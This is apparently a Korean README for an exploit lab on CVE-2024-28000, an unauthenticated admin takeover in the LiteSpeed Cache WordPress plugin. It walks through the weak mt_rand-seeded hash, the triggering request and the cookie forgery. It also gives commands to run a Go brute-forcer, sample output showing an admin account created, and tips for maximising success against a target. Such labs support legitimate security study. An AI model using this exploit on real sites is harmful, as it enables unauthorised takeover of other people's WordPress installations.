
CVE-2024-28000 실습용 익스플로잇 랩 — LiteSpeed Cache(WordPress 플러그인, <=6.3.0.1)의 인증되지 않은 권한 상승 취약점. Docker로 취약한 환경을 구동하며, 약한 mt_rand 해시를 크랙하여 관리자 계정을 생성하는 Go 기반 브루트포서를 포함합니다.
[!WARNING] 이 저장소는 교육 및 연구 목적으로만 제공됩니다.
- 제공된 PoC는 소유한 시스템 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
- 무단 접근, 악용 또는 이 저장소의 자료 오용은 불법입니다.
- 저자는 부적절한 사용으로 인한 손상, 오용 또는 법적 결과에 대해 책임을 지지 않습니다.
CVE-2024-28000은 WordPress용 LiteSpeed Cache 플러그인에 영향을 미치는 심각한 비인증 권한 상승 취약점입니다. 이 취약점은 플러그인의 크롤러 역할 시뮬레이션 기능에 있는 취약한 해시 기반 인증 메커니즘에서 비롯되며, 완전히 인증되지 않은 공격자가 WordPress 관리자를 가장하여 사이트를 완전히 제어할 수 있게 합니다.
LiteSpeed Cache 플러그인에는 다양한 사용자 역할로 페이지를 방문하여 사이트 캐시를 미리 준비하는 크롤러가 포함되어 있습니다. 크롤러를 인증하기 위해 플러그인은 짧은 해시를 생성하여 WordPress 옵션 테이블에 저장합니다. 쿠키에 이 해시를 제시하는 모든 요청에는 두 번째 쿠키에 지정된 사용자 역할이 부여됩니다.
이 취약점을 악용 가능하게 만드는 세 가지 설계 결함:
해시를 생성하는 AJAX 액션은 capability 또는 nonce 검사 없이 인증되지 않은 사용자에게 등록됩니다:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
공격자는 다음을 전송하여 이를 트리거합니다:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
해시는 현재 시간의 마이크로초 구성 요소를 시드로 사용하는 PHP의 mt_rand()로 생성됩니다:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime()는 초의 소수 부분(예: 0.523847)만 반환합니다. 여기에 1,000,000을 곱하면 시간대와 관계없이 0에서 999,999 사이의 시드가 생성됩니다. 해시 생성을 직접 트리거한 공격자는 대략적인 생성 시간을 알고 있으므로, 수분 내에 100만 개의 시드를 모두 무차별 대입할 수 있습니다.
플러그인은 모든 요청에서 단순한 문자열 비교로 해시를 검증하며, 잠금 또는 속도 제한이 없습니다:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
다음과 같은 출력이 표시될 때까지 기다리세요:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] 해시에는 만료 기간이 없지만, LiteSpeed 내장 크롤러에 의해 재생성될 수 있습니다.
- 크롤러가 활성화된 경우(기본 간격: 10분마다), 데이터베이스에 저장된 해시는 자동으로 교체됩니다. 이 경우 무차별 대입 공격이 이전 해시에 대한 시드를 테스트하므로 실패하게 됩니다.
- 크롤러가 비활성화된 경우 해시는 무기한 유지되며, 스레드 수는 성공 여부가 아닌 속도에만 영향을 미칩니다.
- 성공률을 극대화하려면: 해시 생성을 트리거한 직후, 대상이 처리할 수 있는 최대 스레드 수로 익스플로잇을 즉시 실행하세요.
- 공격 중 해시가 교체되었음을 나타내는 징후: 시작 시 기본 검증(sanity check)이 통과했음에도 불구하고 1,000,000개의 시드가 모두 소진될 때까지 결과가 없는 경우.